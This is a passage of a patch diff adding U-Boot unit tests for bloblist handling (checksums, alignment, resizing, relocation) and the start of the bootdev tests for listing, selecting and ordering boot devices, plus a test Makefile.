+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+
+ /* Test with an empty bloblist */
+ size = TEST_SIZE;
+ ut_assertok(bloblist_ensure_size_ret(TEST_TAG, &size, &data));
+ ut_asserteq(TEST_SIZE, size);
+ ut_assertok(check_zero(data, TEST_SIZE));
+
+ /* Check that we get the same thing again */
+ ut_assertok(bloblist_ensure_size_ret(TEST_TAG, &size, &data2));
+ ut_asserteq(TEST_SIZE, size);
+ ut_asserteq_addr(data, data2);
+
+ /* Check that the size remains the same */
+ size = TEST_SIZE2;
+ ut_assertok(bloblist_ensure_size_ret(TEST_TAG, &size, &data));
+ ut_asserteq(TEST_SIZE, size);
+
+ /* Check running out of space */
+ size = TEST_SIZE_LARGE;
+ ut_asserteq(-ENOSPC, bloblist_ensure_size_ret(TEST_TAG2, &size, &data));
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_blob_ensure, 0);
+
+static int bloblist_test_bad_blob(struct unit_test_state *uts)
+{
+ struct bloblist_hdr *hdr;
+ void *data;
+
+ hdr = clear_bloblist();
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ data = hdr + 1;
+ data += sizeof(struct bloblist_rec);
+ ut_asserteq_addr(data, bloblist_ensure(TEST_TAG, TEST_SIZE));
+ ut_asserteq_addr(data, bloblist_ensure(TEST_TAG, TEST_SIZE));
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_bad_blob, 0);
+
+static int bloblist_test_checksum(struct unit_test_state *uts)
+{
+ struct bloblist_hdr *hdr;
+ char *data, *data2;
+
+ hdr = clear_bloblist();
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ ut_assertok(bloblist_finish());
+ ut_assertok(bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+
+ /*
+ * Now change things amd make sure that the checksum notices. We cannot
+ * change the size or alloced fields, since that will crash the code.
+ * It has to rely on these being correct.
+ */
+ hdr->flags--;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ hdr->flags++;
+
+ hdr->total_size--;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ hdr->total_size++;
+
+ hdr->spare++;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ hdr->spare--;
+
+ hdr->chksum++;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ hdr->chksum--;
+
+ hdr->align_log2++;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ hdr->align_log2--;
+
+ /* Make sure the checksum changes when we add blobs */
+ data = bloblist_add(TEST_TAG, TEST_SIZE, 0);
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+
+ data2 = bloblist_add(TEST_TAG2, TEST_SIZE2, 0);
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ ut_assertok(bloblist_finish());
+
+ /* It should also change if we change the data */
+ ut_assertok(bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ *data += 1;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ *data -= 1;
+
+ ut_assertok(bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ *data2 += 1;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ *data2 -= 1;
+
+ /*
+ * Changing data outside the range of valid data should affect the
+ * checksum.
+ */
+ ut_assertok(bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ data[TEST_SIZE]++;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ data[TEST_SIZE]--;
+ ut_assertok(bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+
+ data2[TEST_SIZE2]++;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ data[TEST_SIZE]--;
+ ut_assertok(bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_checksum, 0);
+
+/* Test the 'bloblist info' command */
+static int bloblist_test_cmd_info(struct unit_test_state *uts)
+{
+ struct bloblist_hdr *hdr;
+ char *data, *data2;
+
+ hdr = clear_bloblist();
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ data = bloblist_ensure(TEST_TAG, TEST_SIZE);
+ data2 = bloblist_ensure(TEST_TAG2, TEST_SIZE2);
+
+ console_record_reset_enable();
+ ut_silence_console(uts);
+ console_record_reset();
+ run_command("bloblist info", 0);
+ ut_assert_nextline("base: %lx", (ulong)map_to_sysmem(hdr));
+ ut_assert_nextline("total size: 400 1 KiB");
+ ut_assert_nextline("used size: 50 80 Bytes");
+ ut_assert_nextline("free: 3b0 944 Bytes");
+ ut_assert_console_end();
+ ut_unsilence_console(uts);
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_cmd_info, 0);
+
+/* Test the 'bloblist list' command */
+static int bloblist_test_cmd_list(struct unit_test_state *uts)
+{
+ struct bloblist_hdr *hdr;
+ char *data, *data2;
+
+ hdr = clear_bloblist();
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ data = bloblist_ensure(TEST_TAG, TEST_SIZE);
+ data2 = bloblist_ensure(TEST_TAG2, TEST_SIZE2);
+
+ console_record_reset_enable();
+ ut_silence_console(uts);
+ console_record_reset();
+ run_command("bloblist list", 0);
+ ut_assert_nextline("Address Size Tag Name");
+ ut_assert_nextline("%08lx %8x fff000 SPL hand-off",
+ (ulong)map_to_sysmem(data), TEST_SIZE);
+ ut_assert_nextline("%08lx %8x 202 Chrome OS vboot context",
+ (ulong)map_to_sysmem(data2), TEST_SIZE2);
+ ut_assert_console_end();
+ ut_unsilence_console(uts);
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_cmd_list, 0);
+
+/* Test alignment of bloblist blobs */
+static int bloblist_test_align(struct unit_test_state *uts)
+{
+ struct bloblist_hdr *hdr;
+ ulong addr;
+ char *data;
+ int i;
+
+ /* At the start there should be no records */
+ hdr = clear_bloblist();
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ ut_assertnull(bloblist_find(TEST_TAG, TEST_BLOBLIST_SIZE));
+
+ /* Check the default alignment */
+ for (i = 0; i < 3; i++) {
+ int size = i * 3;
+ ulong addr;
+ char *data;
+ int j;
+
+ data = bloblist_add(i, size, 0);
+ ut_assertnonnull(data);
+ addr = map_to_sysmem(data);
+ ut_asserteq(0, addr & (BLOBLIST_BLOB_ALIGN - 1));
+
+ /* Only the bytes in the blob data should be zeroed */
+ for (j = 0; j < size; j++)
+ ut_asserteq(0, data[j]);
+ for (; j < BLOBLIST_BLOB_ALIGN; j++)
+ ut_asserteq(ERASE_BYTE, data[j]);
+ }
+
+ /* Check larger alignment */
+ for (i = 0; i < 3; i++) {
+ int align = 5 - i;
+
+ data = bloblist_add(3 + i, i * 4, align);
+ ut_assertnonnull(data);
+ addr = map_to_sysmem(data);
+ ut_asserteq(0, addr & (align - 1));
+ }
+
+ /* Check alignment with an bloblist starting on a smaller alignment */
+ hdr = map_sysmem(TEST_ADDR + BLOBLIST_BLOB_ALIGN, TEST_BLOBLIST_SIZE);
+ memset(hdr, ERASE_BYTE, TEST_BLOBLIST_SIZE);
+ memset(hdr, '\0', sizeof(*hdr));
+ ut_assertok(bloblist_new(TEST_ADDR + BLOBLIST_ALIGN, TEST_BLOBLIST_SIZE,
+ 0, 0));
+
+ data = bloblist_add(1, 5, BLOBLIST_ALIGN_LOG2 + 1);
+ ut_assertnonnull(data);
+ addr = map_to_sysmem(data);
+ ut_asserteq(0, addr & (BLOBLIST_BLOB_ALIGN * 2 - 1));
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_align, 0);
+
+/* Test relocation of a bloblist */
+static int bloblist_test_reloc(struct unit_test_state *uts)
+{
+ const uint large_size = TEST_BLOBLIST_SIZE;
+ const uint small_size = 0x20;
+ void *new_ptr;
+ void *blob1, *blob2;
+ ulong new_addr;
+ ulong new_size;
+
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+
+ /* Add one blob and then one that won't fit */
+ blob1 = bloblist_add(TEST_TAG, small_size, 0);
+ ut_assertnonnull(blob1);
+ blob2 = bloblist_add(TEST_TAG2, large_size, 0);
+ ut_assertnull(blob2);
+
+ /* Relocate the bloblist somewhere else, a bit larger */
+ new_addr = TEST_ADDR + TEST_BLOBLIST_SIZE;
+ new_size = TEST_BLOBLIST_SIZE + 0x100;
+ new_ptr = map_sysmem(new_addr, TEST_BLOBLIST_SIZE);
+ ut_assertok(bloblist_reloc(new_ptr, new_size));
+
+ /* Check the old blob is there and that we can now add the bigger one */
+ ut_assertnonnull(bloblist_find(TEST_TAG, small_size));
+ ut_assertnull(bloblist_find(TEST_TAG2, small_size));
+ blob2 = bloblist_add(TEST_TAG2, large_size, 0);
+ ut_assertnonnull(blob2);
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_reloc, 0);
+
+/* Test expansion of a blob */
+static int bloblist_test_grow(struct unit_test_state *uts)
+{
+ const uint small_size = 0x20;
+ void *blob1, *blob2, *blob1_new;
+ struct bloblist_hdr *hdr;
+ void *ptr;
+
+ ptr = map_sysmem(TEST_ADDR, TEST_BLOBLIST_SIZE);
+ hdr = ptr;
+ memset(hdr, ERASE_BYTE, TEST_BLOBLIST_SIZE);
+
+ /* Create two blobs */
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ blob1 = bloblist_add(TEST_TAG, small_size, 0);
+ ut_assertnonnull(blob1);
+ ut_assertok(check_zero(blob1, small_size));
+ strcpy(blob1, test1_str);
+
+ blob2 = bloblist_add(TEST_TAG2, small_size, 0);
+ ut_assertnonnull(blob2);
+ strcpy(blob2, test2_str);
+
+ ut_asserteq(sizeof(struct bloblist_hdr) +
+ sizeof(struct bloblist_rec) * 2 + small_size * 2,
+ hdr->used_size);
+
+ /* Resize the first one */
+ ut_assertok(bloblist_resize(TEST_TAG, small_size + 4));
+
+ /* The first one should not have moved, just got larger */
+ blob1_new = bloblist_find(TEST_TAG, small_size + 4);
+ ut_asserteq_ptr(blob1, blob1_new);
+
+ /* The new space should be zeroed */
+ ut_assertok(check_zero(blob1 + small_size, 4));
+
+ /* The second one should have moved */
+ blob2 = bloblist_find(TEST_TAG2, small_size);
+ ut_assertnonnull(blob2);
+ ut_asserteq_str(test2_str, blob2);
+
+ /* The header should have more bytes in use */
+ hdr = ptr;
+ ut_asserteq(sizeof(struct bloblist_hdr) +
+ sizeof(struct bloblist_rec) * 2 + small_size * 2 +
+ BLOBLIST_BLOB_ALIGN,
+ hdr->used_size);
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_grow, 0);
+
+/* Test shrinking of a blob */
+static int bloblist_test_shrink(struct unit_test_state *uts)
+{
+ const uint small_size = 0x20;
+ void *blob1, *blob2, *blob1_new;
+ struct bloblist_hdr *hdr;
+ int new_size;
+ void *ptr;
+
+ ptr = map_sysmem(TEST_ADDR, TEST_BLOBLIST_SIZE);
+
+ /* Create two blobs */
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ blob1 = bloblist_add(TEST_TAG, small_size, 0);
+ ut_assertnonnull(blob1);
+ strcpy(blob1, test1_str);
+
+ blob2 = bloblist_add(TEST_TAG2, small_size, 0);
+ ut_assertnonnull(blob2);
+ strcpy(blob2, test2_str);
+
+ hdr = ptr;
+ ut_asserteq(sizeof(struct bloblist_hdr) +
+ sizeof(struct bloblist_rec) * 2 + small_size * 2,
+ hdr->used_size);
+
+ /* Resize the first one */
+ new_size = small_size - BLOBLIST_ALIGN - 4;
+ ut_assertok(bloblist_resize(TEST_TAG, new_size));
+
+ /* The first one should not have moved, just got smaller */
+ blob1_new = bloblist_find(TEST_TAG, new_size);
+ ut_asserteq_ptr(blob1, blob1_new);
+
+ /* The second one should have moved */
+ blob2 = bloblist_find(TEST_TAG2, small_size);
+ ut_assertnonnull(blob2);
+ ut_asserteq_str(test2_str, blob2);
+
+ /* The header should have fewer bytes in use */
+ hdr = ptr;
+ ut_asserteq(sizeof(struct bloblist_hdr) +
+ sizeof(struct bloblist_rec) * 2 + small_size * 2 -
+ BLOBLIST_ALIGN,
+ hdr->used_size);
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_shrink, 0);
+
+/* Test failing to adjust a blob size */
+static int bloblist_test_resize_fail(struct unit_test_state *uts)
+{
+ const uint small_size = 0x20;
+ struct bloblist_hdr *hdr;
+ void *blob1, *blob2;
+ int new_size;
+ void *ptr;
+
+ ptr = map_sysmem(TEST_ADDR, TEST_BLOBLIST_SIZE);
+
+ /* Create two blobs */
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ blob1 = bloblist_add(TEST_TAG, small_size, 0);
+ ut_assertnonnull(blob1);
+
+ blob2 = bloblist_add(TEST_TAG2, small_size, 0);
+ ut_assertnonnull(blob2);
+
+ hdr = ptr;
+ ut_asserteq(sizeof(struct bloblist_hdr) +
+ sizeof(struct bloblist_rec) * 2 + small_size * 2,
+ hdr->used_size);
+
+ /* Resize the first one, to check the boundary conditions */
+ ut_asserteq(-EINVAL, bloblist_resize(TEST_TAG, -1));
+
+ new_size = small_size + (hdr->total_size - hdr->used_size);
+ ut_asserteq(-ENOSPC, bloblist_resize(TEST_TAG, new_size + 1));
+ ut_assertok(bloblist_resize(TEST_TAG, new_size));
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_resize_fail, 0);
+
+/* Test expanding the last blob in a bloblist */
+static int bloblist_test_resize_last(struct unit_test_state *uts)
+{
+ const uint small_size = 0x20;
+ struct bloblist_hdr *hdr;
+ void *blob1, *blob2, *blob2_new;
+ int alloced_val;
+ void *ptr;
+
+ ptr = map_sysmem(TEST_ADDR, TEST_BLOBLIST_SIZE);
+ memset(ptr, ERASE_BYTE, TEST_BLOBLIST_SIZE);
+ hdr = ptr;
+
+ /* Create two blobs */
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ blob1 = bloblist_add(TEST_TAG, small_size, 0);
+ ut_assertnonnull(blob1);
+
+ blob2 = bloblist_add(TEST_TAG2, small_size, 0);
+ ut_assertnonnull(blob2);
+
+ /* Check the byte after the last blob */
+ alloced_val = sizeof(struct bloblist_hdr) +
+ sizeof(struct bloblist_rec) * 2 + small_size * 2;
+ ut_asserteq(alloced_val, hdr->used_size);
+ ut_asserteq_ptr((void *)hdr + alloced_val, blob2 + small_size);
+ ut_asserteq((u8)ERASE_BYTE, *((u8 *)hdr + hdr->used_size));
+
+ /* Resize the second one, checking nothing changes */
+ ut_asserteq(0, bloblist_resize(TEST_TAG2, small_size + 4));
+
+ blob2_new = bloblist_find(TEST_TAG2, small_size + 4);
+ ut_asserteq_ptr(blob2, blob2_new);
+
+ /*
+ * the new blob should encompass the byte we checked now, so it should
+ * be zeroed. This zeroing should affect only the four new bytes added
+ * to the blob.
+ */
+ ut_asserteq(0, *((u8 *)hdr + alloced_val));
+ ut_asserteq((u8)ERASE_BYTE, *((u8 *)hdr + alloced_val + 4));
+
+ /* Check that the new top of the allocated blobs has not been touched */
+ alloced_val += BLOBLIST_BLOB_ALIGN;
+ ut_asserteq(alloced_val, hdr->used_size);
+ ut_asserteq((u8)ERASE_BYTE, *((u8 *)hdr + hdr->used_size));
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_resize_last, 0);
+
+/* Check a completely full bloblist */
+static int bloblist_test_blob_maxsize(struct unit_test_state *uts)
+{
+ void *ptr;
+ int size;
+
+ /* At the start there should be no records */
+ clear_bloblist();
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+
+ /* Add a blob that takes up all space */
+ size = TEST_BLOBLIST_SIZE - sizeof(struct bloblist_hdr) -
+ sizeof(struct bloblist_rec);
+ ptr = bloblist_add(TEST_TAG, size, 0);
+ ut_assertnonnull(ptr);
+
+ ptr = bloblist_add(TEST_TAG, size + 1, 0);
+ ut_assertnull(ptr);
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_blob_maxsize, 0);
+
+int do_ut_bloblist(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(bloblist_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(bloblist_test);
+
+ return cmd_ut_category("bloblist", "bloblist_test_",
+ tests, n_ents, argc, argv);
+}
diff --git a/test/boot/Makefile b/test/boot/Makefile
new file mode 100644
index 00000000000..068522cb9e0
--- /dev/null
+++ b/test/boot/Makefile
@@ -0,0 +1,15 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright 2021 Google LLC
+
+obj-$(CONFIG_BOOTSTD) += bootdev.o bootstd_common.o bootflow.o bootmeth.o
+obj-$(CONFIG_FIT) += image.o
+obj-$(CONFIG_MEASURED_BOOT) += measurement.o
+
+obj-$(CONFIG_EXPO) += expo.o
+obj-$(CONFIG_CEDIT) += cedit.o
+
+ifdef CONFIG_OF_LIVE
+obj-$(CONFIG_BOOTMETH_VBE_SIMPLE) += vbe_simple.o
+endif
+obj-$(CONFIG_BOOTMETH_VBE) += vbe_fixup.o
diff --git a/test/boot/bootdev.c b/test/boot/bootdev.c
new file mode 100644
index 00000000000..6e940002f84
--- /dev/null
+++ b/test/boot/bootdev.c
@@ -0,0 +1,767 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for bootdev functions. All start with 'bootdev'
+ *
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <bootstd.h>
+#include <dm.h>
+#include <bootdev.h>
+#include <bootflow.h>
+#include <mapmem.h>
+#include <os.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include "bootstd_common.h"
+
+/* Allow reseting the USB-started flag */
+#if defined(CONFIG_USB_HOST) || defined(CONFIG_USB_GADGET)
+extern bool usb_started;
+#else
+#include <usb.h>
+#endif
+
+/* Check 'bootdev list' command */
+static int bootdev_test_cmd_list(struct unit_test_state *uts)
+{
+ int probed;
+
+ console_record_reset_enable();
+ for (probed = 0; probed < 2; probed++) {
+ int probe_ch = probed ? '+' : ' ';
+
+ ut_assertok(run_command(probed ? "bootdev list -p" :
+ "bootdev list", 0));
+ ut_assert_nextline("Seq Probed Status Uclass Name");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("%3x [ %c ] %6s %-8s %s", 0, probe_ch, "OK",
+ "mmc", "mmc2.bootdev");
+ ut_assert_nextline("%3x [ %c ] %6s %-8s %s", 1, probe_ch, "OK",
+ "mmc", "mmc1.bootdev");
+ ut_assert_nextline("%3x [ %c ] %6s %-8s %s", 2, probe_ch, "OK",
+ "mmc", "mmc0.bootdev");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(3 bootdevs)");
+ ut_assert_console_end();
+ }
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_cmd_list, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootdev select' and 'info' commands */
+static int bootdev_test_cmd_select(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+
+ /* get access to the CLI's cur_bootdev */
+ ut_assertok(bootstd_get_priv(&std));
+
+ console_record_reset_enable();
+ ut_asserteq(1, run_command("bootdev info", 0));
+ ut_assert_nextlinen("Please use");
+ ut_assert_console_end();
+
+ /* select by sequence */
+ ut_assertok(run_command("bootdev select 0", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("bootdev info", 0));
+ ut_assert_nextline("Name: mmc2.bootdev");
+ ut_assert_nextline("Sequence: 0");
+ ut_assert_nextline("Status: Probed");
+ ut_assert_nextline("Uclass: mmc");
+ ut_assert_nextline("Bootflows: 0 (0 valid)");
+ ut_assert_console_end();
+
+ /* select by bootdev name */
+ ut_assertok(run_command("bootdev select mmc1.bootdev", 0));
+ ut_assert_console_end();
+ ut_assertnonnull(std->cur_bootdev);
+ ut_asserteq_str("mmc1.bootdev", std->cur_bootdev->name);
+
+ /* select by bootdev label*/
+ ut_assertok(run_command("bootdev select mmc1", 0));
+ ut_assert_console_end();
+ ut_assertnonnull(std->cur_bootdev);
+ ut_asserteq_str("mmc1.bootdev", std->cur_bootdev->name);
+
+ /* deselect */
+ ut_assertok(run_command("bootdev select", 0));
+ ut_assert_console_end();
+ ut_assertnull(std->cur_bootdev);
+
+ ut_asserteq(1, run_command("bootdev info", 0));
+ ut_assert_nextlinen("Please use");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_cmd_select, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check bootdev labels */
+static int bootdev_test_labels(struct unit_test_state *uts)
+{
+ struct udevice *dev, *media;
+ int mflags = 0;
+
+ ut_assertok(bootdev_find_by_label("mmc2", &dev, &mflags));
+ ut_asserteq(UCLASS_BOOTDEV, device_get_uclass_id(dev));
+ ut_asserteq(0, mflags);
+ media = dev_get_parent(dev);
+ ut_asserteq(UCLASS_MMC, device_get_uclass_id(media));
+ ut_asserteq_str("mmc2", media->name);
+
+ /* Check method flags */
+ ut_assertok(bootdev_find_by_label("pxe", &dev, &mflags));
+ ut_asserteq(BOOTFLOW_METHF_SINGLE_UCLASS | BOOTFLOW_METHF_PXE_ONLY,
+ mflags);
+ ut_assertok(bootdev_find_by_label("dhcp", &dev, &mflags));
+ ut_asserteq(BOOTFLOW_METHF_SINGLE_UCLASS | BOOTFLOW_METHF_DHCP_ONLY,
+ mflags);
+
+ /* Check invalid uclass */
+ ut_asserteq(-EPFNOSUPPORT,
+ bootdev_find_by_label("fred0", &dev, &mflags));
+
+ /* Check unknown sequence number */
+ ut_asserteq(-ENOENT, bootdev_find_by_label("mmc6", &dev, &mflags));
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_labels, UT_TESTF_DM | UT_TESTF_SCAN_FDT |
+ UT_TESTF_ETH_BOOTDEV);
+
+/* Check bootdev_find_by_any() */
+static int bootdev_test_any(struct unit_test_state *uts)
+{
+ struct udevice *dev, *media;
+ int mflags;
+
+ /*
+ * with ethernet enabled we have 8 devices ahead of the mmc ones:
+ *
+ * ut_assertok(run_command("bootdev list", 0));
+ * Seq Probed Status Uclass Name
+ * --- ------ ------ -------- ------------------
+ * 0 [ + ] OK ethernet eth@10002000.bootdev
+ * 1 [ ] OK ethernet eth@10003000.bootdev
+ * 2 [ ] OK ethernet sbe5.bootdev
+ * 3 [ ] OK ethernet eth@10004000.bootdev
+ * 4 [ ] OK ethernet phy-test-eth.bootdev
+ * 5 [ ] OK ethernet dsa-test-eth.bootdev
+ * 6 [ ] OK ethernet dsa-test@0.bootdev
+ * 7 [ ] OK ethernet dsa-test@1.bootdev
+ * 8 [ ] OK mmc mmc2.bootdev
+ * 9 [ + ] OK mmc mmc1.bootdev
+ * a [ ] OK mmc mmc0.bootdev
+ */
+ console_record_reset_enable();
+ ut_assertok(bootdev_find_by_any("8", &dev, &mflags));
+ ut_asserteq(UCLASS_BOOTDEV, device_get_uclass_id(dev));
+ ut_asserteq(BOOTFLOW_METHF_SINGLE_DEV, mflags);
+ media = dev_get_parent(dev);
+ ut_asserteq(UCLASS_MMC, device_get_uclass_id(media));
+ ut_asserteq_str("mmc2", media->name);
+ ut_assert_console_end();
+
+ /* there should not be this many bootdevs */
+ ut_asserteq(-ENODEV, bootdev_find_by_any("50", &dev, &mflags));
+ ut_assert_nextline("Cannot find '50' (err=-19)");
+ ut_assert_console_end();
+
+ /* Check method flags */
+ ut_assertok(bootdev_find_by_any("pxe", &dev, &mflags));
+ ut_asserteq(BOOTFLOW_METHF_SINGLE_UCLASS | BOOTFLOW_METHF_PXE_ONLY,
+ mflags);
+
+ /* Check invalid uclass */
+ mflags = 123;
+ ut_asserteq(-EPFNOSUPPORT, bootdev_find_by_any("fred0", &dev, &mflags));
+ ut_assert_nextline("Cannot find bootdev 'fred0' (err=-96)");
+ ut_asserteq(123, mflags);
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_any, UT_TESTF_DM | UT_TESTF_SCAN_FDT |
+ UT_TESTF_ETH_BOOTDEV);
+
+/*
+ * Check bootdev ordering with the bootdev-order property and boot_targets
+ * environment variable
+ */
+static int bootdev_test_order(struct unit_test_state *uts)
+{
+ struct bootflow_iter iter;
+ struct bootflow bflow;
+
+ test_set_skip_delays(true);
+
+ /* Start up USB which gives us three additional bootdevs */
+ usb_started = false;
+ ut_assertok(run_command("usb start", 0));
+
+ /*
+ * First try the order set by the bootdev-order property
+ * Like all sandbox unit tests this relies on the devicetree setting up
+ * the required devices:
+ *
+ * mmc0 - nothing connected
+ * mmc1 - connected to mmc1.img file
+ * mmc2 - nothing connected
+ */
+ ut_assertok(env_set("boot_targets", NULL));
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter, 0, &bflow));
+ ut_asserteq(2, iter.num_devs);
+ ut_asserteq_str("mmc2.bootdev", iter.dev_used[0]->name);
+ ut_asserteq_str("mmc1.bootdev", iter.dev_used[1]->name);
+ bootflow_iter_uninit(&iter);
+
+ /* Use the environment variable to override it */
+ ut_assertok(env_set("boot_targets", "mmc1 mmc2 usb"));
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter, 0, &bflow));
+ ut_asserteq(-ENODEV, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(5, iter.num_devs);
+ ut_asserteq_str("mmc1.bootdev", iter.dev_used[0]->name);
+ ut_asserteq_str("mmc2.bootdev", iter.dev_used[1]->name);
+ ut_asserteq_str("usb_mass_storage.lun0.bootdev",
+ iter.dev_used[2]->name);
+ bootflow_iter_uninit(&iter);
+
+ /* Try a single uclass */
+ ut_assertok(env_set("boot_targets", NULL));
+ ut_assertok(bootflow_scan_first(NULL, "mmc", &iter, 0, &bflow));
+ ut_asserteq(2, iter.num_devs);
+
+ /* Now scan past mmc1 and make sure that only mmc0 shows up */
+ ut_asserteq(-ENODEV, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(3, iter.num_devs);
+ ut_asserteq_str("mmc2.bootdev", iter.dev_used[0]->name);
+ ut_asserteq_str("mmc1.bootdev", iter.dev_used[1]->name);
+ ut_asserteq_str("mmc0.bootdev", iter.dev_used[2]->name);
+ bootflow_iter_uninit(&iter);
+
+ /* Try a single uclass with boot_targets */
+ ut_assertok(env_set("boot_targets", "mmc"));
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter, 0, &bflow));
+ ut_asserteq(2, iter.num_devs);
+
+ /* Now scan past mmc1 and make sure that only mmc0 shows up */
+ ut_asserteq(-ENODEV, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(3, iter.num_devs);
+ ut_asserteq_str("mmc2.bootdev", iter.dev_used[0]->name);
+ ut_asserteq_str("mmc1.bootdev", iter.dev_used[1]->name);
+ ut_asserteq_str("mmc0.bootdev", iter.dev_used[2]->name);
+ bootflow_iter_uninit(&iter);
+
+ /* Try a single uclass with boot_targets */
+ ut_assertok(env_set("boot_targets", "mmc usb"));
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter, 0, &bflow));
+ ut_asserteq(2, iter.num_devs);
+
+ /* Now scan past mmc1 and make sure that the 3 USB devices show up */
+ ut_asserteq(-ENODEV, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(6, iter.num_devs);
+ ut_asserteq_str("mmc2.bootdev", iter.dev_used[0]->name);
+ ut_asserteq_str("mmc1.bootdev", iter.dev_used[1]->name);
+ ut_asserteq_str("mmc0.bootdev", iter.dev_used[2]->name);
+ ut_asserteq_str("usb_mass_storage.lun0.bootdev",
+ iter.dev_used[3]->name);
+ bootflow_iter_uninit(&iter);
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_order, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check default bootdev ordering */
+static int bootdev_test_order_default(struct unit_test_state *uts)
+{
+ struct bootflow_iter iter;
+ struct bootflow bflow;
+
+ /*
+ * Now drop both orderings, to check the default (prioriy/sequence)
+ * ordering
+ */
+ ut_assertok(env_set("boot_targets", NULL));
+ ut_assertok(bootstd_test_drop_bootdev_order(uts));
+
+ ut_assertok(bootflow_scan_first(NULL, NULL, &iter, 0, &bflow));
+ ut_asserteq(2, iter.num_devs);
+ ut_asserteq_str("mmc2.bootdev", iter.dev_used[0]->name);
+ ut_asserteq_str("mmc1.bootdev", iter.dev_used[1]->name);
+
+ ut_asserteq(-ENODEV, bootflow_scan_next(&iter, &bflow));
+ ut_asserteq(3, iter.num_devs);
+ ut_asserteq_str("mmc0.bootdev", iter.dev_used[2]->name);
+ bootflow_iter_uninit(&iter);
+
+ return 0;
+}
+BOOTSTD_TEST(bootdev_test_order_default, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check bootdev ordering with the uclass priority */
+static int bootdev_test_prio(struct unit_test_state *uts)
+{
+ struct bootdev_uc_plat *ucp;
+ struct bootflow_iter iter;
+ struct bootflow bflow;
+ struct udevice *blk;
+
+ test_set_skip_delays(true);
+
+ /* disable ethernet since the hunter will run dhcp */
